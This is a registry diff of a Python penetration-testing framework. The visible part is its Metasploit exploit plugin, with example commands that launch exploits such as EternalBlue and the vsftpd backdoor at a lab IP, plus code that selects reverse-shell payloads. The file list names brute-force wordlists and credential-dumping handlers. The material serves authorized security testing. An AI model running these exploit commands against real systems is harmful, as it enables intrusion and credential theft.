souleyez 2.43.26__py3-none-any.whl → 2.43.34__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of souleyez might be problematic. Click here for more details.

Files changed (358) hide show
  1. souleyez/__init__.py +1 -2
  2. souleyez/ai/__init__.py +21 -15
  3. souleyez/ai/action_mapper.py +249 -150
  4. souleyez/ai/chain_advisor.py +116 -100
  5. souleyez/ai/claude_provider.py +29 -28
  6. souleyez/ai/context_builder.py +80 -62
  7. souleyez/ai/executor.py +158 -117
  8. souleyez/ai/feedback_handler.py +136 -121
  9. souleyez/ai/llm_factory.py +27 -20
  10. souleyez/ai/llm_provider.py +4 -2
  11. souleyez/ai/ollama_provider.py +6 -9
  12. souleyez/ai/ollama_service.py +44 -37
  13. souleyez/ai/path_scorer.py +91 -76
  14. souleyez/ai/recommender.py +176 -144
  15. souleyez/ai/report_context.py +74 -73
  16. souleyez/ai/report_service.py +84 -66
  17. souleyez/ai/result_parser.py +222 -229
  18. souleyez/ai/safety.py +67 -44
  19. souleyez/auth/__init__.py +23 -22
  20. souleyez/auth/audit.py +36 -26
  21. souleyez/auth/engagement_access.py +65 -48
  22. souleyez/auth/permissions.py +14 -3
  23. souleyez/auth/session_manager.py +54 -37
  24. souleyez/auth/user_manager.py +109 -64
  25. souleyez/commands/audit.py +40 -43
  26. souleyez/commands/auth.py +35 -15
  27. souleyez/commands/deliverables.py +55 -50
  28. souleyez/commands/engagement.py +47 -28
  29. souleyez/commands/license.py +32 -23
  30. souleyez/commands/screenshots.py +36 -32
  31. souleyez/commands/user.py +82 -36
  32. souleyez/config.py +52 -44
  33. souleyez/core/credential_tester.py +87 -81
  34. souleyez/core/cve_mappings.py +179 -192
  35. souleyez/core/cve_matcher.py +162 -148
  36. souleyez/core/msf_auto_mapper.py +100 -83
  37. souleyez/core/msf_chain_engine.py +294 -256
  38. souleyez/core/msf_database.py +153 -70
  39. souleyez/core/msf_integration.py +679 -673
  40. souleyez/core/msf_rpc_client.py +40 -42
  41. souleyez/core/msf_rpc_manager.py +77 -79
  42. souleyez/core/msf_sync_manager.py +241 -181
  43. souleyez/core/network_utils.py +22 -15
  44. souleyez/core/parser_handler.py +34 -25
  45. souleyez/core/pending_chains.py +114 -63
  46. souleyez/core/templates.py +158 -107
  47. souleyez/core/tool_chaining.py +9526 -2879
  48. souleyez/core/version_utils.py +79 -94
  49. souleyez/core/vuln_correlation.py +136 -89
  50. souleyez/core/web_utils.py +33 -32
  51. souleyez/data/wordlists/ad_users.txt +378 -0
  52. souleyez/data/wordlists/api_endpoints_large.txt +769 -0
  53. souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
  54. souleyez/data/wordlists/lfi_payloads.txt +82 -0
  55. souleyez/data/wordlists/passwords_brute.txt +1548 -0
  56. souleyez/data/wordlists/passwords_crack.txt +2479 -0
  57. souleyez/data/wordlists/passwords_spray.txt +386 -0
  58. souleyez/data/wordlists/subdomains_large.txt +5057 -0
  59. souleyez/data/wordlists/usernames_common.txt +694 -0
  60. souleyez/data/wordlists/web_dirs_large.txt +4769 -0
  61. souleyez/detection/__init__.py +1 -1
  62. souleyez/detection/attack_signatures.py +12 -17
  63. souleyez/detection/mitre_mappings.py +61 -55
  64. souleyez/detection/validator.py +97 -86
  65. souleyez/devtools.py +23 -10
  66. souleyez/docs/README.md +4 -4
  67. souleyez/docs/api-reference/cli-commands.md +2 -2
  68. souleyez/docs/developer-guide/adding-new-tools.md +562 -0
  69. souleyez/docs/user-guide/auto-chaining.md +30 -8
  70. souleyez/docs/user-guide/getting-started.md +1 -1
  71. souleyez/docs/user-guide/installation.md +26 -3
  72. souleyez/docs/user-guide/metasploit-integration.md +2 -2
  73. souleyez/docs/user-guide/rbac.md +1 -1
  74. souleyez/docs/user-guide/scope-management.md +1 -1
  75. souleyez/docs/user-guide/siem-integration.md +1 -1
  76. souleyez/docs/user-guide/tools-reference.md +1 -8
  77. souleyez/docs/user-guide/worker-management.md +1 -1
  78. souleyez/engine/background.py +1239 -535
  79. souleyez/engine/base.py +4 -1
  80. souleyez/engine/job_status.py +17 -49
  81. souleyez/engine/log_sanitizer.py +103 -77
  82. souleyez/engine/manager.py +38 -7
  83. souleyez/engine/result_handler.py +2200 -1550
  84. souleyez/engine/worker_manager.py +50 -41
  85. souleyez/export/evidence_bundle.py +72 -62
  86. souleyez/feature_flags/features.py +16 -20
  87. souleyez/feature_flags.py +5 -9
  88. souleyez/handlers/__init__.py +11 -0
  89. souleyez/handlers/base.py +188 -0
  90. souleyez/handlers/bash_handler.py +277 -0
  91. souleyez/handlers/bloodhound_handler.py +243 -0
  92. souleyez/handlers/certipy_handler.py +311 -0
  93. souleyez/handlers/crackmapexec_handler.py +486 -0
  94. souleyez/handlers/dnsrecon_handler.py +344 -0
  95. souleyez/handlers/enum4linux_handler.py +400 -0
  96. souleyez/handlers/evil_winrm_handler.py +493 -0
  97. souleyez/handlers/ffuf_handler.py +815 -0
  98. souleyez/handlers/gobuster_handler.py +1114 -0
  99. souleyez/handlers/gpp_extract_handler.py +334 -0
  100. souleyez/handlers/hashcat_handler.py +444 -0
  101. souleyez/handlers/hydra_handler.py +563 -0
  102. souleyez/handlers/impacket_getuserspns_handler.py +343 -0
  103. souleyez/handlers/impacket_psexec_handler.py +222 -0
  104. souleyez/handlers/impacket_secretsdump_handler.py +426 -0
  105. souleyez/handlers/john_handler.py +286 -0
  106. souleyez/handlers/katana_handler.py +425 -0
  107. souleyez/handlers/kerbrute_handler.py +298 -0
  108. souleyez/handlers/ldapsearch_handler.py +636 -0
  109. souleyez/handlers/lfi_extract_handler.py +464 -0
  110. souleyez/handlers/msf_auxiliary_handler.py +408 -0
  111. souleyez/handlers/msf_exploit_handler.py +380 -0
  112. souleyez/handlers/nikto_handler.py +413 -0
  113. souleyez/handlers/nmap_handler.py +821 -0
  114. souleyez/handlers/nuclei_handler.py +359 -0
  115. souleyez/handlers/nxc_handler.py +371 -0
  116. souleyez/handlers/rdp_sec_check_handler.py +353 -0
  117. souleyez/handlers/registry.py +292 -0
  118. souleyez/handlers/responder_handler.py +232 -0
  119. souleyez/handlers/service_explorer_handler.py +434 -0
  120. souleyez/handlers/smbclient_handler.py +344 -0
  121. souleyez/handlers/smbmap_handler.py +510 -0
  122. souleyez/handlers/smbpasswd_handler.py +296 -0
  123. souleyez/handlers/sqlmap_handler.py +1116 -0
  124. souleyez/handlers/theharvester_handler.py +601 -0
  125. souleyez/handlers/web_login_test_handler.py +327 -0
  126. souleyez/handlers/whois_handler.py +277 -0
  127. souleyez/handlers/wpscan_handler.py +554 -0
  128. souleyez/history.py +32 -16
  129. souleyez/importers/msf_importer.py +106 -75
  130. souleyez/importers/smart_importer.py +208 -147
  131. souleyez/integrations/siem/__init__.py +10 -10
  132. souleyez/integrations/siem/base.py +17 -18
  133. souleyez/integrations/siem/elastic.py +108 -122
  134. souleyez/integrations/siem/factory.py +207 -80
  135. souleyez/integrations/siem/googlesecops.py +146 -154
  136. souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
  137. souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
  138. souleyez/integrations/siem/sentinel.py +107 -109
  139. souleyez/integrations/siem/splunk.py +246 -212
  140. souleyez/integrations/siem/wazuh.py +65 -71
  141. souleyez/integrations/wazuh/__init__.py +5 -5
  142. souleyez/integrations/wazuh/client.py +70 -93
  143. souleyez/integrations/wazuh/config.py +85 -57
  144. souleyez/integrations/wazuh/host_mapper.py +28 -36
  145. souleyez/integrations/wazuh/sync.py +78 -68
  146. souleyez/intelligence/__init__.py +4 -5
  147. souleyez/intelligence/correlation_analyzer.py +309 -295
  148. souleyez/intelligence/exploit_knowledge.py +661 -623
  149. souleyez/intelligence/exploit_suggestions.py +159 -139
  150. souleyez/intelligence/gap_analyzer.py +132 -97
  151. souleyez/intelligence/gap_detector.py +251 -214
  152. souleyez/intelligence/sensitive_tables.py +266 -129
  153. souleyez/intelligence/service_parser.py +137 -123
  154. souleyez/intelligence/surface_analyzer.py +407 -268
  155. souleyez/intelligence/target_parser.py +159 -162
  156. souleyez/licensing/__init__.py +6 -6
  157. souleyez/licensing/validator.py +17 -19
  158. souleyez/log_config.py +79 -54
  159. souleyez/main.py +1505 -687
  160. souleyez/migrations/fix_job_counter.py +16 -14
  161. souleyez/parsers/bloodhound_parser.py +41 -39
  162. souleyez/parsers/crackmapexec_parser.py +178 -111
  163. souleyez/parsers/dalfox_parser.py +72 -77
  164. souleyez/parsers/dnsrecon_parser.py +103 -91
  165. souleyez/parsers/enum4linux_parser.py +183 -153
  166. souleyez/parsers/ffuf_parser.py +29 -25
  167. souleyez/parsers/gobuster_parser.py +301 -41
  168. souleyez/parsers/hashcat_parser.py +324 -79
  169. souleyez/parsers/http_fingerprint_parser.py +350 -103
  170. souleyez/parsers/hydra_parser.py +131 -111
  171. souleyez/parsers/impacket_parser.py +231 -178
  172. souleyez/parsers/john_parser.py +98 -86
  173. souleyez/parsers/katana_parser.py +316 -0
  174. souleyez/parsers/msf_parser.py +943 -498
  175. souleyez/parsers/nikto_parser.py +346 -65
  176. souleyez/parsers/nmap_parser.py +262 -174
  177. souleyez/parsers/nuclei_parser.py +40 -44
  178. souleyez/parsers/responder_parser.py +26 -26
  179. souleyez/parsers/searchsploit_parser.py +74 -74
  180. souleyez/parsers/service_explorer_parser.py +279 -0
  181. souleyez/parsers/smbmap_parser.py +180 -124
  182. souleyez/parsers/sqlmap_parser.py +434 -308
  183. souleyez/parsers/theharvester_parser.py +75 -57
  184. souleyez/parsers/whois_parser.py +135 -94
  185. souleyez/parsers/wpscan_parser.py +278 -190
  186. souleyez/plugins/afp.py +44 -36
  187. souleyez/plugins/afp_brute.py +114 -46
  188. souleyez/plugins/ard.py +48 -37
  189. souleyez/plugins/bloodhound.py +95 -61
  190. souleyez/plugins/certipy.py +303 -0
  191. souleyez/plugins/crackmapexec.py +186 -85
  192. souleyez/plugins/dalfox.py +120 -59
  193. souleyez/plugins/dns_hijack.py +146 -41
  194. souleyez/plugins/dnsrecon.py +97 -61
  195. souleyez/plugins/enum4linux.py +91 -66
  196. souleyez/plugins/evil_winrm.py +291 -0
  197. souleyez/plugins/ffuf.py +166 -90
  198. souleyez/plugins/firmware_extract.py +133 -29
  199. souleyez/plugins/gobuster.py +387 -190
  200. souleyez/plugins/gpp_extract.py +393 -0
  201. souleyez/plugins/hashcat.py +100 -73
  202. souleyez/plugins/http_fingerprint.py +854 -267
  203. souleyez/plugins/hydra.py +566 -200
  204. souleyez/plugins/impacket_getnpusers.py +117 -69
  205. souleyez/plugins/impacket_psexec.py +84 -64
  206. souleyez/plugins/impacket_secretsdump.py +103 -69
  207. souleyez/plugins/impacket_smbclient.py +89 -75
  208. souleyez/plugins/john.py +86 -69
  209. souleyez/plugins/katana.py +313 -0
  210. souleyez/plugins/kerbrute.py +237 -0
  211. souleyez/plugins/lfi_extract.py +541 -0
  212. souleyez/plugins/macos_ssh.py +117 -48
  213. souleyez/plugins/mdns.py +35 -30
  214. souleyez/plugins/msf_auxiliary.py +253 -130
  215. souleyez/plugins/msf_exploit.py +239 -161
  216. souleyez/plugins/nikto.py +134 -78
  217. souleyez/plugins/nmap.py +275 -91
  218. souleyez/plugins/nuclei.py +180 -89
  219. souleyez/plugins/nxc.py +285 -0
  220. souleyez/plugins/plugin_base.py +35 -36
  221. souleyez/plugins/plugin_template.py +13 -5
  222. souleyez/plugins/rdp_sec_check.py +130 -0
  223. souleyez/plugins/responder.py +112 -71
  224. souleyez/plugins/router_http_brute.py +76 -65
  225. souleyez/plugins/router_ssh_brute.py +118 -41
  226. souleyez/plugins/router_telnet_brute.py +124 -42
  227. souleyez/plugins/routersploit.py +91 -59
  228. souleyez/plugins/routersploit_exploit.py +77 -55
  229. souleyez/plugins/searchsploit.py +91 -77
  230. souleyez/plugins/service_explorer.py +1160 -0
  231. souleyez/plugins/smbmap.py +122 -72
  232. souleyez/plugins/smbpasswd.py +215 -0
  233. souleyez/plugins/sqlmap.py +301 -113
  234. souleyez/plugins/theharvester.py +127 -75
  235. souleyez/plugins/tr069.py +79 -57
  236. souleyez/plugins/upnp.py +65 -47
  237. souleyez/plugins/upnp_abuse.py +73 -55
  238. souleyez/plugins/vnc_access.py +129 -42
  239. souleyez/plugins/vnc_brute.py +109 -38
  240. souleyez/plugins/web_login_test.py +417 -0
  241. souleyez/plugins/whois.py +77 -58
  242. souleyez/plugins/wpscan.py +173 -69
  243. souleyez/reporting/__init__.py +2 -1
  244. souleyez/reporting/attack_chain.py +411 -346
  245. souleyez/reporting/charts.py +436 -501
  246. souleyez/reporting/compliance_mappings.py +334 -201
  247. souleyez/reporting/detection_report.py +126 -125
  248. souleyez/reporting/formatters.py +828 -591
  249. souleyez/reporting/generator.py +386 -302
  250. souleyez/reporting/metrics.py +72 -75
  251. souleyez/scanner.py +35 -29
  252. souleyez/security/__init__.py +37 -11
  253. souleyez/security/scope_validator.py +175 -106
  254. souleyez/security/validation.py +223 -149
  255. souleyez/security.py +22 -6
  256. souleyez/storage/credentials.py +247 -186
  257. souleyez/storage/crypto.py +296 -129
  258. souleyez/storage/database.py +73 -50
  259. souleyez/storage/db.py +58 -36
  260. souleyez/storage/deliverable_evidence.py +177 -128
  261. souleyez/storage/deliverable_exporter.py +282 -246
  262. souleyez/storage/deliverable_templates.py +134 -116
  263. souleyez/storage/deliverables.py +135 -130
  264. souleyez/storage/engagements.py +109 -56
  265. souleyez/storage/evidence.py +181 -152
  266. souleyez/storage/execution_log.py +31 -17
  267. souleyez/storage/exploit_attempts.py +93 -57
  268. souleyez/storage/exploits.py +67 -36
  269. souleyez/storage/findings.py +48 -61
  270. souleyez/storage/hosts.py +176 -144
  271. souleyez/storage/migrate_to_engagements.py +43 -19
  272. souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
  273. souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
  274. souleyez/storage/migrations/_003_add_execution_log.py +14 -8
  275. souleyez/storage/migrations/_005_screenshots.py +13 -5
  276. souleyez/storage/migrations/_006_deliverables.py +13 -5
  277. souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
  278. souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
  279. souleyez/storage/migrations/_010_evidence_linking.py +17 -10
  280. souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
  281. souleyez/storage/migrations/_012_team_collaboration.py +34 -21
  282. souleyez/storage/migrations/_013_add_host_tags.py +12 -6
  283. souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
  284. souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
  285. souleyez/storage/migrations/_016_add_domain_field.py +10 -4
  286. souleyez/storage/migrations/_017_msf_sessions.py +16 -8
  287. souleyez/storage/migrations/_018_add_osint_target.py +10 -6
  288. souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
  289. souleyez/storage/migrations/_020_add_rbac.py +36 -15
  290. souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
  291. souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
  292. souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
  293. souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
  294. souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
  295. souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
  296. souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
  297. souleyez/storage/migrations/__init__.py +26 -26
  298. souleyez/storage/migrations/migration_manager.py +19 -19
  299. souleyez/storage/msf_sessions.py +100 -65
  300. souleyez/storage/osint.py +17 -24
  301. souleyez/storage/recommendation_engine.py +269 -235
  302. souleyez/storage/screenshots.py +33 -32
  303. souleyez/storage/smb_shares.py +136 -92
  304. souleyez/storage/sqlmap_data.py +183 -128
  305. souleyez/storage/team_collaboration.py +135 -141
  306. souleyez/storage/timeline_tracker.py +122 -94
  307. souleyez/storage/wazuh_vulns.py +64 -66
  308. souleyez/storage/web_paths.py +33 -37
  309. souleyez/testing/credential_tester.py +221 -205
  310. souleyez/ui/__init__.py +1 -1
  311. souleyez/ui/ai_quotes.py +12 -12
  312. souleyez/ui/attack_surface.py +2439 -1516
  313. souleyez/ui/chain_rules_view.py +914 -382
  314. souleyez/ui/correlation_view.py +312 -230
  315. souleyez/ui/dashboard.py +2382 -1130
  316. souleyez/ui/deliverables_view.py +148 -62
  317. souleyez/ui/design_system.py +13 -13
  318. souleyez/ui/errors.py +49 -49
  319. souleyez/ui/evidence_linking_view.py +284 -179
  320. souleyez/ui/evidence_vault.py +393 -285
  321. souleyez/ui/exploit_suggestions_view.py +555 -349
  322. souleyez/ui/export_view.py +100 -66
  323. souleyez/ui/gap_analysis_view.py +315 -171
  324. souleyez/ui/help_system.py +105 -97
  325. souleyez/ui/intelligence_view.py +436 -293
  326. souleyez/ui/interactive.py +23434 -10286
  327. souleyez/ui/interactive_selector.py +75 -68
  328. souleyez/ui/log_formatter.py +47 -39
  329. souleyez/ui/menu_components.py +22 -13
  330. souleyez/ui/msf_auxiliary_menu.py +184 -133
  331. souleyez/ui/pending_chains_view.py +336 -172
  332. souleyez/ui/progress_indicators.py +5 -3
  333. souleyez/ui/recommendations_view.py +195 -137
  334. souleyez/ui/rule_builder.py +343 -225
  335. souleyez/ui/setup_wizard.py +678 -284
  336. souleyez/ui/shortcuts.py +217 -165
  337. souleyez/ui/splunk_gap_analysis_view.py +452 -270
  338. souleyez/ui/splunk_vulns_view.py +139 -86
  339. souleyez/ui/team_dashboard.py +498 -335
  340. souleyez/ui/template_selector.py +196 -105
  341. souleyez/ui/terminal.py +6 -6
  342. souleyez/ui/timeline_view.py +198 -127
  343. souleyez/ui/tool_setup.py +264 -164
  344. souleyez/ui/tutorial.py +202 -72
  345. souleyez/ui/tutorial_state.py +40 -40
  346. souleyez/ui/wazuh_vulns_view.py +235 -141
  347. souleyez/ui/wordlist_browser.py +260 -107
  348. souleyez/ui.py +464 -312
  349. souleyez/utils/tool_checker.py +427 -367
  350. souleyez/utils.py +33 -29
  351. souleyez/wordlists.py +134 -167
  352. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/METADATA +1 -1
  353. souleyez-2.43.34.dist-info/RECORD +443 -0
  354. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/WHEEL +1 -1
  355. souleyez-2.43.26.dist-info/RECORD +0 -379
  356. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/entry_points.txt +0 -0
  357. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/licenses/LICENSE +0 -0
  358. {souleyez-2.43.26.dist-info → souleyez-2.43.34.dist-info}/top_level.txt +0 -0
@@ -29,16 +29,16 @@ HELP = {
29
29
  "- Use bind payloads when reverse connections aren't possible\n"
30
30
  "- Sessions are not maintained - output is captured to log\n\n"
31
31
  "Common payloads:\n"
32
- "- generic/shell_reverse_tcp - Basic reverse shell\n"
33
- "- generic/shell_bind_tcp - Basic bind shell\n"
34
- "- cmd/unix/reverse - Unix reverse shell\n"
32
+ "- cmd/unix/reverse_netcat - Unix reverse shell (default for unix/multi)\n"
33
+ "- windows/shell_reverse_tcp - Windows reverse shell (default for windows)\n"
34
+ "- cmd/unix/bind_netcat - Unix bind shell\n"
35
35
  "- windows/meterpreter/reverse_tcp - Meterpreter (if needed)\n"
36
36
  ),
37
- "usage": "souleyez jobs enqueue msf_exploit <target> --args \"<exploit_path> [OPTIONS]\"",
37
+ "usage": 'souleyez jobs enqueue msf_exploit <target> --args "<exploit_path> [OPTIONS]"',
38
38
  "examples": [
39
- "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/unix/ftp/vsftpd_234_backdoor\"",
40
- "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/multi/samba/usermap_script LHOST=10.0.0.1\"",
41
- "souleyez jobs enqueue msf_exploit 10.0.0.82 --args \"exploit/windows/smb/ms17_010_eternalblue LHOST=10.0.0.1\"",
39
+ 'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/unix/ftp/vsftpd_234_backdoor"',
40
+ 'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/multi/samba/usermap_script LHOST=10.0.0.1"',
41
+ 'souleyez jobs enqueue msf_exploit 10.0.0.82 --args "exploit/windows/smb/ms17_010_eternalblue LHOST=10.0.0.1"',
42
42
  ],
43
43
  "common_options": {
44
44
  "RHOSTS": "Target host(s) - set automatically from target",
@@ -60,31 +60,70 @@ HELP = {
60
60
  "title": "What is MSF Exploit?",
61
61
  "color": "cyan",
62
62
  "content": [
63
- {"title": "Overview", "desc": "MSF Exploit runs Metasploit Framework exploit modules non-interactively to verify vulnerabilities and gain access in authorized testing scenarios."},
64
- {"title": "Use Cases", "desc": "Vulnerability verification and exploitation", "tips": [
65
- "Verify detected vulnerabilities are exploitable",
66
- "Gain initial access in CTF/lab environments",
67
- "Test exploit chains from auto-chaining rules",
68
- "Document successful exploits for reporting"
69
- ]}
70
- ]
63
+ {
64
+ "title": "Overview",
65
+ "desc": "MSF Exploit runs Metasploit Framework exploit modules non-interactively to verify vulnerabilities and gain access in authorized testing scenarios.",
66
+ },
67
+ {
68
+ "title": "Use Cases",
69
+ "desc": "Vulnerability verification and exploitation",
70
+ "tips": [
71
+ "Verify detected vulnerabilities are exploitable",
72
+ "Gain initial access in CTF/lab environments",
73
+ "Test exploit chains from auto-chaining rules",
74
+ "Document successful exploits for reporting",
75
+ ],
76
+ },
77
+ ],
71
78
  },
72
79
  {
73
80
  "title": "How to Use",
74
81
  "color": "green",
75
82
  "content": [
76
- {"title": "Basic Workflow", "desc": "1. Identify vulnerable service from scan\\n 2. Select appropriate exploit module\\n 3. Configure LHOST for reverse payloads\\n 4. Run and capture results"},
77
- {"title": "Payload Types", "desc": "Choose payload based on target", "tips": [
78
- "Reverse: Target connects back to you (needs LHOST)",
79
- "Bind: Opens port on target (you connect to it)",
80
- "Use bind when firewalls block reverse connections",
81
- "Default payloads are usually sufficient"
82
- ]}
83
- ]
84
- }
85
- ]
83
+ {
84
+ "title": "Basic Workflow",
85
+ "desc": "1. Identify vulnerable service from scan\\n 2. Select appropriate exploit module\\n 3. Configure LHOST for reverse payloads\\n 4. Run and capture results",
86
+ },
87
+ {
88
+ "title": "Payload Types",
89
+ "desc": "Choose payload based on target",
90
+ "tips": [
91
+ "Reverse: Target connects back to you (needs LHOST)",
92
+ "Bind: Opens port on target (you connect to it)",
93
+ "Use bind when firewalls block reverse connections",
94
+ "Default payloads are usually sufficient",
95
+ ],
96
+ },
97
+ ],
98
+ },
99
+ ],
86
100
  }
87
101
 
102
+ # Exploits that don't need LHOST/PAYLOAD configuration
103
+ # These either have built-in backdoors (bind shell) or use command execution
104
+ NO_PAYLOAD_EXPLOITS = [
105
+ "vsftpd_234_backdoor", # Bind shell backdoor on port 6200
106
+ "usermap_script", # Samba command execution
107
+ "distcc_exec", # Direct command execution
108
+ "ingreslock", # Bind shell backdoor
109
+ "irc_3281_backdoor", # UnrealIRCd bind shell backdoor
110
+ ]
111
+
112
+
113
+ def _exploit_needs_payload(exploit_path: str) -> bool:
114
+ """Check if an exploit needs LHOST/PAYLOAD configuration.
115
+
116
+ Some exploits (like vsftpd_234_backdoor) have built-in bind shells
117
+ or use direct command execution, so they don't need reverse payloads.
118
+
119
+ Args:
120
+ exploit_path: The Metasploit exploit module path
121
+
122
+ Returns:
123
+ True if the exploit needs LHOST/PAYLOAD, False otherwise
124
+ """
125
+ return not any(exp in exploit_path for exp in NO_PAYLOAD_EXPLOITS)
126
+
88
127
 
89
128
  class MsfExploitPlugin(PluginBase):
90
129
  name = "Metasploit Exploit"
@@ -100,6 +139,7 @@ class MsfExploitPlugin(PluginBase):
100
139
  if self._rpc_manager is None:
101
140
  try:
102
141
  from souleyez.core.msf_rpc_manager import MSFRPCManager
142
+
103
143
  self._rpc_manager = MSFRPCManager.get_instance()
104
144
  except Exception:
105
145
  self._rpc_manager = None
@@ -123,7 +163,7 @@ class MsfExploitPlugin(PluginBase):
123
163
  return False
124
164
 
125
165
  # Must be enabled in config
126
- if not config.get('msfrpc.enabled', False):
166
+ if not config.get("msfrpc.enabled", False):
127
167
  return False
128
168
 
129
169
  # Must be able to connect
@@ -132,7 +172,7 @@ class MsfExploitPlugin(PluginBase):
132
172
  return True
133
173
 
134
174
  # Check fallback setting
135
- if not config.get('msfrpc.fallback_to_console', True):
175
+ if not config.get("msfrpc.fallback_to_console", True):
136
176
  logger.warning("msfrpcd unavailable and fallback disabled")
137
177
 
138
178
  return False
@@ -141,38 +181,44 @@ class MsfExploitPlugin(PluginBase):
141
181
  logger.debug(f"RPC mode check failed: {e}")
142
182
  return False
143
183
 
144
- def _parse_exploit_options(self, target: str, extra_opts: List[str]) -> Dict[str, Any]:
184
+ def _parse_exploit_options(
185
+ self, target: str, extra_opts: List[str], exploit_path: str
186
+ ) -> Dict[str, Any]:
145
187
  """Parse exploit options into RPC format."""
146
- options = {'RHOSTS': target}
188
+ options = {"RHOSTS": target}
147
189
 
148
190
  # Check what's already provided
149
- has_lhost = any('LHOST=' in opt.upper() for opt in extra_opts)
150
- has_payload = any('PAYLOAD=' in opt.upper() for opt in extra_opts)
191
+ has_lhost = any("LHOST=" in opt.upper() for opt in extra_opts)
192
+ has_payload = any("PAYLOAD=" in opt.upper() for opt in extra_opts)
151
193
 
152
- # Auto-detect LHOST if not provided
153
- if not has_lhost:
194
+ # Check if this exploit needs payload/LHOST (bind shell exploits don't)
195
+ needs_payload = _exploit_needs_payload(exploit_path)
196
+
197
+ # Auto-detect LHOST if not provided AND exploit needs it
198
+ if not has_lhost and needs_payload:
154
199
  local_ip = self._get_local_ip(target)
155
200
  if local_ip:
156
- options['LHOST'] = local_ip
201
+ options["LHOST"] = local_ip
157
202
 
158
203
  # Parse extra options
159
204
  for opt in extra_opts:
160
- if '=' in opt:
161
- key, value = opt.split('=', 1)
205
+ if "=" in opt:
206
+ key, value = opt.split("=", 1)
162
207
  options[key.upper()] = value
163
208
 
164
- return options, has_payload
209
+ return options, has_payload, needs_payload
165
210
 
166
211
  def _get_default_payload(self, exploit_path: str) -> str:
167
212
  """Get default payload based on exploit path."""
168
213
  exploit_lower = exploit_path.lower()
169
- if 'windows' in exploit_lower:
170
- return 'generic/shell_reverse_tcp'
171
- elif 'unix' in exploit_lower or 'linux' in exploit_lower:
172
- return 'cmd/unix/reverse'
173
- elif 'multi' in exploit_lower:
174
- return 'generic/shell_reverse_tcp'
175
- return 'generic/shell_reverse_tcp'
214
+ if "windows" in exploit_lower:
215
+ return "windows/shell_reverse_tcp"
216
+ elif "unix" in exploit_lower or "linux" in exploit_lower:
217
+ return "cmd/unix/reverse_netcat"
218
+ elif "multi" in exploit_lower:
219
+ # Multi exploits are usually Unix-based (samba, etc.)
220
+ return "cmd/unix/reverse_netcat"
221
+ return "cmd/unix/reverse_netcat"
176
222
 
177
223
  def run_rpc_exploit(
178
224
  self,
@@ -180,7 +226,7 @@ class MsfExploitPlugin(PluginBase):
180
226
  target: str,
181
227
  options: Dict[str, Any],
182
228
  log_path: Optional[str] = None,
183
- payload: Optional[str] = None
229
+ payload: Optional[str] = None,
184
230
  ) -> Dict[str, Any]:
185
231
  """
186
232
  Execute exploit via RPC and poll for session.
@@ -199,18 +245,18 @@ class MsfExploitPlugin(PluginBase):
199
245
 
200
246
  manager = self._get_rpc_manager()
201
247
  if not manager:
202
- return {'success': False, 'error': 'RPC manager not available'}
248
+ return {"success": False, "error": "RPC manager not available"}
203
249
 
204
250
  client = manager.get_client()
205
251
  if not client:
206
- return {'success': False, 'error': 'Could not connect to msfrpcd'}
252
+ return {"success": False, "error": "Could not connect to msfrpcd"}
207
253
 
208
- poll_interval = config.get('msfrpc.poll_interval', 2)
209
- max_poll = config.get('msfrpc.max_poll_time', 300)
254
+ poll_interval = config.get("msfrpc.poll_interval", 2)
255
+ max_poll = config.get("msfrpc.max_poll_time", 300)
210
256
 
211
257
  # Log start
212
258
  if log_path:
213
- with open(log_path, 'a', encoding='utf-8', errors='replace') as f:
259
+ with open(log_path, "a", encoding="utf-8", errors="replace") as f:
214
260
  f.write(f"\n=== RPC Exploit Execution ===\n")
215
261
  f.write(f"Mode: msfrpcd (persistent sessions)\n")
216
262
  f.write(f"Exploit: {exploit_path}\n")
@@ -218,47 +264,51 @@ class MsfExploitPlugin(PluginBase):
218
264
  f.write(f"Options: {options}\n")
219
265
  if payload:
220
266
  f.write(f"Payload: {payload}\n")
221
- f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n")
267
+ f.write(
268
+ f"Started: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n\n"
269
+ )
222
270
 
223
271
  # Get baseline session count
224
272
  try:
225
273
  initial_sessions = set(client.list_sessions().keys())
226
274
  if log_path:
227
- with open(log_path, 'a') as f:
275
+ with open(log_path, "a") as f:
228
276
  f.write(f"[*] Current sessions: {len(initial_sessions)}\n")
229
277
  except Exception as e:
230
- return {'success': False, 'error': f'Failed to list sessions: {e}'}
278
+ return {"success": False, "error": f"Failed to list sessions: {e}"}
231
279
 
232
280
  # Set payload in options if provided
233
281
  if payload:
234
- options['PAYLOAD'] = payload
282
+ options["PAYLOAD"] = payload
235
283
 
236
284
  # Execute exploit via RPC
237
285
  try:
238
286
  if log_path:
239
- with open(log_path, 'a') as f:
287
+ with open(log_path, "a") as f:
240
288
  f.write(f"[*] Submitting exploit to msfrpcd...\n")
241
289
 
242
- result = client.execute_module('exploit', exploit_path, options)
290
